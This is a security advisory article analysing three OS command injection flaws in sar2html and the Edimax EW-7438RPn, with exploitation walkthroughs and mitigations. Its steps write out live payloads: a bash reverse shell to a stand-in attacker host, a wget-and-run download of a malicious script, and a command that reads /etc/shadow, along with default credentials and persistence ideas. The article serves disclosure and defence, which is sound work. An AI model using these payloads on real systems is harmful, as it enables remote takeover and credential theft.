Critical OS Command Injection Vulnerabilities: sar2html and Edimax

 Critical OS Command Injection Vulnerabilities: 

Home Systems (sar2html and Edimax)

Introduction 

Three critical OS command injection vulnerabilities were recently disclosed affecting sar2html and Edimax EW-7438RPn Mini devices. These vulnerabilities allow attackers to execute arbitrary commands on vulnerable systems, potentially leading to complete system compromise. This article provides detailed technical analysis and sample exploitation scenarios for each vulnerability.

1. CVE-2025-34030: sar2html Command Injection via plot Parameter  

Vulnerability Overview 

• Affected Product: sar2html (version 3.2.2 and prior)
• Attack Vector: Remote, unauthenticated
• CVSS Score: 10.0 (Critical)
• Vulnerable Component: index.php plot parameter

Technical Analysis 

The sar2html application, used for visualizing system activity data, fails to properly sanitize user input in the plot parameter of the index.php script. The application directly incorporates this parameter into system commands without proper validation or escaping.

Exploitation Scenario 

Step 1: Discovery 

An attacker identifies a vulnerable sar2html installation at http://target-server/sar2html/

Step 2: Initial Testing 

The attacker sends a basic command injection test:

http://target-server/sar2html/index.php?plot=;id

This appends the id command to whatever system command the application is executing.

Step 3: Command Execution

The application displays the output of the id command in its interface, confirming vulnerability.

Step 4: Reverse Shell Establishment

The attacker crafts a more sophisticated payload to establish a reverse shell:

http://target-server/sar2html/index.php?plot=;bash+-c+'bash+-i+>%26+/dev/tcp/attacker-ip/4444+0>%261'

This command creates a reverse shell connection back to the attacker's machine.

Step 5: Post-Exploitation

Once shell access is obtained, the attacker can:

1. Perform reconnaissance (uname -a, cat /etc/passwd)
2. Create persistent access (add SSH keys, cron jobs)
3. Move laterally within the network

Mitigation

• Upgrade to sar2html version 3.2.3 or later
• Implement input validation and use command execution APIs that properly handle arguments
• Run the application with least privilege

2. CVE-2025-34029: Edimax EW-7438RPn Command Injection via syscmd.asp

Vulnerability Overview

• Affected Product: Edimax EW-7438RPn Mini (firmware 1.13 and prior)
• Attack Vector: Remote, authenticated
• CVSS Score: 9.4 (Critical)
• Vulnerable Component: /goform/formSysCmd endpoint

Technical Analysis

The device's web interface includes a system command handler at syscmd.asp that processes requests sent to /goform/formSysCmd. The sysCmd parameter accepts arbitrary commands which are executed as root.

Exploitation Scenario

Step 1: Authentication

The attacker gains valid credentials through:

• Default credentials (admin:1234)
• Credential brute-forcing
• Credential harvesting from other breaches

Step 2: Command Injection

The attacker sends a POST request to the vulnerable endpoint:

POST /goform/formSysCmd HTTP/1.1

Host: target-router

Content-Type: application/x-www-form-urlencoded



sysCmd=cat+/etc/shadow

Step 3: Privilege Escalation

Since commands run as root, the attacker can:

1. Extract password hashes
2. Modify system configuration
3. Install persistent backdoors

Step 4: Network Pivoting

The compromised router can be used to:

• Intercept network traffic
• Redirect DNS queries
• Attack other internal systems

Mitigation

• Upgrade to firmware version 1.14 or later
• Restrict administrative interface access
• Change default credentials
• Implement network segmentation

3. CVE-2025-34024: Edimax EW-7438RPn Command Injection via mp.asp

Vulnerability Overview

• Affected Product: Edimax EW-7438RPn (firmware 1.13 and prior)
• Attack Vector: Remote, authenticated
• CVSS Score: 9.4 (Critical)
• Vulnerable Component: /goform/mp endpoint

Technical Analysis  

The media player configuration handler at mp.asp processes requests sent to /goform/mp. The command parameter accepts shell metacharacters that allow command injection.

Exploitation Scenario 

Step 1: Authentication

Same as CVE-2025-34029, the attacker first obtains valid credentials.

Step 2: Command Injection

The attacker crafts a POST request with embedded commands:

POST /goform/mp HTTP/1.1

Host: target-router

Content-Type: application/x-www-form-urlencoded



command=test;wget+http://attacker.com/malware.sh+-O+/tmp/malware.sh;sh+/tmp/malware.sh

Step 3: Malware Execution 

The payload:

1. Downloads a malicious script from the attacker's server
2. Saves it to /tmp/malware.sh
3. Executes the script with root privileges

Step 4: Persistent Access

The malware could:

• Modify firmware components
• Create hidden admin accounts
• Install packet sniffers

Mitigation

• Apply firmware updates immediately
• Disable remote administration if not needed
• Monitor for suspicious outbound connections
• Implement strict input validation on all form handlers

Conclusion

These critical vulnerabilities demonstrate how command injection flaws in web interfaces can lead to complete system compromise. The sar2html vulnerability is particularly dangerous as it requires no authentication. Organizations should:

1. Inventory all affected products in their environment
2. Apply patches immediately
3. Monitor for exploitation attempts
4. Implement defense-in-depth strategies including network segmentation and least privilege access

For systems that cannot be immediately patched, consider implementing web application firewalls with rules specifically designed to block these attack patterns.

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